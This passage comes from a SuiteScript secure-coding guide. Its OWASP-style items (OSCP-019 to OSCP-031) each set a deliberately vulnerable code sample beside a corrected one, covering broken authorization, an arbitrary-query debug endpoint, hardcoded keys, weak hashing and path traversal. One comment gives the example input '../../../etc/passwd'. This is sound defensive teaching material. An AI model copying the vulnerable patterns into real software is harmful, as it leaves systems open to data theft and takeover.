<status>RELEASED</status>
<allroles>F</allroles>
<roles>
<role>customrole_hr_manager</role>
<role>customrole_payroll</role>
</roles>
</scriptdeployment>
OSCP-019: Missing Function-Level Authorization on POST Handlers
Category: Access Control
Severity: High
Reference: references/04-access-control.md Section 3
Problem: Checking authorization only on the GET (form display) request but not on the POST (form submission) request allows attackers to craft direct POST requests that bypass the authorization check.
// ===== BAD: Authorization on GET only =====
define(['N/record', 'N/runtime'], (record, runtime) => {
const onRequest = (context) => {
if (context.request.method === 'GET') {
if (runtime.getCurrentUser().role !== 3) {
context.response.write('Access denied.');
return;
}
// Display form...
}
if (context.request.method === 'POST') {
// VULNERABLE: No role check; attacker crafts direct POST
record.submitFields({
type: 'customrecord_config', id: 1,
values: { custrecord_setting: context.request.parameters.value }
});
}
};
return { onRequest };
});
// ===== GOOD: Authorization on EVERY request method =====
/**
* @NApiVersion 2.1
* @NScriptType Suitelet
*/
define(['N/record', 'N/runtime', 'N/log'], (record, runtime, log) => {
const ADMIN_ROLES = [3];
const assertAdmin = (context) => {
const user = runtime.getCurrentUser();
if (!ADMIN_ROLES.includes(user.role)) {
log.audit('Auth Failure', { user: user.id, role: user.role, method: context.request.method });
context.response.setHeader({ name: 'Content-Type', value: 'application/json; charset=utf-8' });
context.response.write(JSON.stringify({ error: 'Insufficient privileges.' }));
return false;
}
return true;
};
const onRequest = (context) => {
if (!assertAdmin(context)) return;
if (context.request.method === 'GET') { /* Display form */ }
if (context.request.method === 'POST') {
record.submitFields({
type: 'customrecord_config', id: 1,
values: { custrecord_setting: context.request.parameters.value }
});
}
};
return { onRequest };
});
OSCP-020: Horizontal Privilege Escalation (Missing Entity Filter)
Category: Access Control
Severity: High
Reference: references/04-access-control.md Section 5
Problem: A search or query that returns all records without filtering by the current user's entity allows one user to see another user's data at the same privilege level.
// ===== BAD: No entity filter =====
define(['N/search'], (search) => {
const onRequest = (context) => {
// VULNERABLE: returns ALL invoices for ALL customers
const results = search.create({
type: 'invoice',
filters: [['mainline', 'is', 'T']],
columns: ['tranid', 'total', 'entity']
}).run().getRange({ start: 0, end: 100 });
context.response.write(JSON.stringify(results));
};
});
// ===== GOOD: Filter by current user's entity =====
define(['N/search', 'N/runtime'], (search, runtime) => {
const onRequest = (context) => {
const userId = runtime.getCurrentUser().id;
const results = search.create({
type: 'invoice',
filters: [
['mainline', 'is', 'T'],
'AND',
['entity', 'is', userId]
],
columns: ['tranid', 'total', 'duedate']
}).run().getRange({ start: 0, end: 100 });
context.response.write(JSON.stringify(results));
};
});
Security Misconfiguration (OSCP-021 to OSCP-024)
OSCP-021: Verbose Error Messages Exposing Internals
Category: Security Misconfiguration
Severity: Medium
Reference: references/05-security-misconfiguration.md Section 1
Problem: Returning stack traces, internal IDs, script file paths, or record structure details in error responses gives attackers a map of the system.
// ===== BAD: Full error details in response =====
define(['N/record'], (record) => {
const onRequest = (context) => {
try {
record.load({ type: 'salesorder', id: context.request.parameters.id });
} catch (e) {
// VULNERABLE: reveals script paths, record structure, error codes
context.response.write(JSON.stringify({
error: e.message, stack: e.stack, name: e.name, code: e.code
}));
}
};
});
// ===== GOOD: Generic message with error reference =====
define(['N/record', 'N/log'], (record, log) => {
const onRequest = (context) => {
try {
record.load({ type: 'salesorder', id: context.request.parameters.id });
} catch (e) {
const ref = 'ERR-' + Date.now().toString(36).toUpperCase();
log.error({ title: `Error [${ref}]`, details: { msg: e.message, stack: e.stack } });
context.response.setHeader({ name: 'Content-Type', value: 'application/json; charset=utf-8' });
context.response.write(JSON.stringify({
error: 'An unexpected error occurred.',
reference: ref
}));
}
};
});
OSCP-022: Debug Logging Enabled in Production
Category: Security Misconfiguration
Severity: Medium
Reference: references/05-security-misconfiguration.md Section 2
Problem: DEBUG-level logging in production captures all log.debug() calls, which
may contain sensitive data (payloads, tokens, PII). Execution logs are accessible to
users with script access.
<!-- ===== BAD: DEBUG log level in production ===== -->
<scriptdeployment scriptid="customdeploy_payment">
<status>RELEASED</status>
<loglevel>DEBUG</loglevel>
</scriptdeployment>
<!-- ===== GOOD: AUDIT or ERROR for production ===== -->
<scriptdeployment scriptid="customdeploy_payment">
<status>RELEASED</status>
<loglevel>AUDIT</loglevel>
</scriptdeployment>
OSCP-023: Test/Debug Endpoints Left in Production
Category: Security Misconfiguration
Severity: Critical
Reference: references/05-security-misconfiguration.md Section 6
Problem: Development endpoints such as arbitrary SuiteQL execution, environment dump, or test email triggers left in released code provide direct exploitation paths.
// ===== BAD: Debug endpoint executes arbitrary SQL =====
define(['N/query'], (query) => {
const onRequest = (context) => {
if (context.request.parameters.action === 'run_query') {
// EXTREMELY VULNERABLE: Arbitrary SuiteQL from URL
const sql = context.request.parameters.sql;
const results = query.runSuiteQL({ query: sql });
context.response.write(JSON.stringify(results.asMappedResults()));
}
};
});
// ===== GOOD: Only explicitly defined actions =====
define(['N/log'], (log) => {
const VALID_ACTIONS = ['view', 'list', 'export'];
const onRequest = (context) => {
const action = context.request.parameters.action;
if (!VALID_ACTIONS.includes(action)) {
context.response.setHeader({ name: 'Content-Type', value: 'application/json; charset=utf-8' });
context.response.write(JSON.stringify({ error: 'Invalid action.' }));
return;
}
// Process only allowlisted actions...
};
});
OSCP-024: Default/Fallback Credentials in Code
Category: Security Misconfiguration
Severity: Critical
Reference: references/05-security-misconfiguration.md Section 5
Problem: Code that falls back to a hardcoded credential when the Script Parameter is empty means the real secret is permanently embedded in version control.
// ===== BAD: Fallback to hardcoded key =====
define(['N/https', 'N/runtime'], (https, runtime) => {
const execute = () => {
const apiKey = runtime.getCurrentScript().getParameter({ name: 'custscript_api_key' });
// VULNERABLE: real key used when param is empty
const effectiveKey = apiKey || '[REDACTED openai-key]';
https.post({ url: 'https://api.vendor.com/data', headers: { 'Authorization': `Bearer ${effectiveKey}` }, body: '{}' });
};
});
// ===== GOOD: Fail fast when config is missing =====
define(['N/https', 'N/runtime', 'N/error'], (https, runtime, error) => {
const execute = () => {
const apiKey = runtime.getCurrentScript().getParameter({ name: 'custscript_api_key' });
if (!apiKey) {
throw error.create({ name: 'MISSING_CONFIG', message: 'custscript_api_key not set.' });
}
https.post({ url: 'https://api.vendor.com/data', headers: { 'Authorization': `Bearer ${apiKey}` }, body: '{}' });
};
});
Cryptography and Data Protection (OSCP-025 to OSCP-028)
OSCP-025: Using Math.random() for Security Tokens
Category: Cryptography and Data Protection
Severity: High
Reference: references/06-cryptography-data-protection.md Section 9
Problem: Math.random() uses a PRNG that is not cryptographically secure. Tokens
generated with it can be predicted by an attacker who observes a few outputs.
// ===== BAD: Math.random() for token generation =====
function generateToken() {
// VULNERABLE: predictable, low entropy
return Math.random().toString(36).substring(2);
}
// ===== GOOD: N/crypto for secure random =====
define(['N/crypto/random'], (random) => {
const generateSecureToken = () => random.generateUUID().replace(/-/g, '');
return { generateSecureToken };
});
OSCP-026: Weak Hashing Algorithms (MD5/SHA-1)
Category: Cryptography and Data Protection
Severity: High
Reference: references/06-cryptography-data-protection.md Section 2
Problem: MD5 and SHA-1 are cryptographically broken. Collision attacks are practical, and rainbow tables make password cracking trivial.
// ===== BAD: MD5 hashing =====
define(['N/crypto', 'N/encode'], (crypto, encode) => {
const hashData = (data) => {
const h = crypto.createHash({ algorithm: crypto.HashAlg.MD5 });
h.update({ input: data });
return h.digest({ outputEncoding: encode.Encoding.HEX });
};
});
// ===== GOOD: SHA-256 minimum =====
define(['N/crypto', 'N/encode'], (crypto, encode) => {
const hashData = (data) => {
const h = crypto.createHash({ algorithm: crypto.HashAlg.SHA256 });
h.update({ input: data, inputEncoding: encode.Encoding.UTF_8 });
return h.digest({ outputEncoding: encode.Encoding.HEX });
};
});
OSCP-027: Hardcoded Encryption Keys
Category: Cryptography and Data Protection
Severity: Critical
Reference: references/06-cryptography-data-protection.md Section 5
Problem: Encryption keys embedded in source code provide no protection. Anyone with repository access can decrypt the data.
See Principle 5 for NS-specific key management via Script Parameters and the Credentials module.
// ===== BAD: Hardcoded key =====
define(['N/crypto'], (crypto) => {
const encrypt = (plaintext) => {
// VULNERABLE: key in source = no encryption
const key = 'SuperSecretKey2024!';
const cipher = crypto.createCipher({ algorithm: crypto.EncryptionAlg.AES, key: key });
cipher.update({ input: plaintext });
return cipher.final({ outputEncoding: 'hex' });
};
});
// ===== GOOD: Key from managed GUID =====
define(['N/crypto', 'N/encode', 'N/runtime', 'N/error'], (crypto, encode, runtime, error) => {
const encrypt = (plaintext) => {
const keyGuid = runtime.getCurrentScript().getParameter({ name: 'custscript_enc_key_guid' });
if (!keyGuid) {
throw error.create({ name: 'MISSING_KEY', message: 'Encryption key GUID not configured.' });
}
const secretKey = crypto.createSecretKey({ guid: keyGuid, encoding: encode.Encoding.UTF_8 });
const cipher = crypto.createCipher({
algorithm: crypto.EncryptionAlg.AES,
key: secretKey,
padding: crypto.Padding.PKCS5Padding
});
cipher.update({ input: plaintext, inputEncoding: encode.Encoding.UTF_8 });
return cipher.final({ outputEncoding: encode.Encoding.HEX }).toString();
};
});
OSCP-028: Storing Sensitive Data in Plain Text
Category: Cryptography and Data Protection
Severity: High
Reference: references/06-cryptography-data-protection.md Section 6
Problem: PII, tax IDs, credit card fragments, or health data stored unencrypted in custom records are exposed to anyone with record-level read access.
// ===== BAD: Plain text PII =====
define(['N/record'], (record) => {
const storeTaxId = (custId, taxId) => {
record.submitFields({
type: 'customer', id: custId,
values: { custentity_tax_id: taxId }
});
};
});
// ===== GOOD: Encrypt before storage, mask for display =====
define(['N/record', './lib/SecurityCrypto'], (record, secureCrypto) => {
const storeTaxId = (custId, taxId) => {
const encrypted = secureCrypto.encrypt(taxId);
const masked = '***-**-' + taxId.slice(-4);
record.submitFields({
type: 'customer', id: custId,
values: {
custentity_encrypted_tax_id: encrypted,
custentity_masked_tax_id: masked
}
});
};
});
File Upload and Download (OSCP-029 to OSCP-032)
OSCP-029: Path Traversal in File Downloads
Category: File Upload and Download
Severity: Critical
Reference: references/07-file-upload-download.md Section 4
Problem: If a file path or name accepted from the request contains ../ sequences,
an attacker can escape the intended directory and access arbitrary files.
// ===== BAD: User-supplied path used directly =====
define(['N/file'], (file) => {
const onRequest = (context) => {
const fileName = context.request.parameters.file;
// VULNERABLE: fileName = "../../../etc/passwd"
const filePath = '/SuiteScripts/uploads/' + fileName;
const fileObj = file.load({ id: filePath });
context.response.write(fileObj.getContents());
};
});
// ===== GOOD: Sanitize path and validate =====
define(['N/file', 'N/error'], (file, error) => {
const sanitizePath = (filepath) => {
let safe = String(filepath).replace(/\0/g, '').replace(/\\/g, '/');
if (safe.includes('../') || safe.includes('..\\') || safe.startsWith('/')) {
throw error.create({ name: 'PATH_TRAVERSAL', message: 'Invalid file path.' });
}
return safe.split('/').pop(); // Extract basename only
};
const onRequest = (context) => {
const fileName = sanitizePath(context.request.parameters.file);
const fileObj = file.load({ id: '/SuiteScripts/uploads/' + fileName });
context.response.setHeader({ name: 'Content-Disposition', value: `attachment; filename="${fileName}"` });
context.response.setHeader({ name: 'X-Content-Type-Options', value: 'nosniff' });
context.response.write(fileObj.getContents());
};
});
OSCP-030: Unrestricted File Type Upload
Category: File Upload and Download
Severity: High
Reference: references/07-file-upload-download.md Section 1
Problem: Accepting any file type on upload allows attackers to upload executable files, HTML files containing XSS payloads, or server-side scripts.
// ===== BAD: No file type validation =====
define(['N/file'], (file) => {
const onRequest = (context) => {
const uploaded = context.request.files.upload;
// VULNERABLE: accepts .exe, .html, .js, anything
uploaded.folder = 123;
uploaded.save();
};
});
// ===== GOOD: Allowlist of allowed extensions =====
define(['N/file', 'N/error'], (file, error) => {
const ALLOWED = ['.pdf', '.csv', '.xlsx', '.png', '.jpg', '.jpeg'];
const onRequest = (context) => {
const uploaded = context.request.files.upload;
const ext = uploaded.name.slice(uploaded.name.lastIndexOf('.')).toLowerCase();
if (!ALLOWED.includes(ext)) {
throw error.create({
name: 'INVALID_FILE_TYPE',
message: `File type ${ext} is not permitted. Allowed: ${ALLOWED.join(', ')}`
});
}
uploaded.folder = 123;
uploaded.isOnline = false;
uploaded.save();
};
});
OSCP-031: Missing File Size Validation
Category: File Upload and Download
Severity: Medium
Reference: references/07-file-upload-download.md Section 3
Problem: Accepting files of arbitrary size can exhaust server resources and cause denial of service.
// ===== BAD: No size check =====
define(['N/file'], (file) => {
const upload
*Truncated - read the full file at https://github.com/xpickey/ice-skills-claude-plugin/blob/012463b4e416315b3ed9a50f4b617560b5d00356/plugins/ice-b2b-sales/skills/netsuite-owasp-secure-coding/SKILL.md.*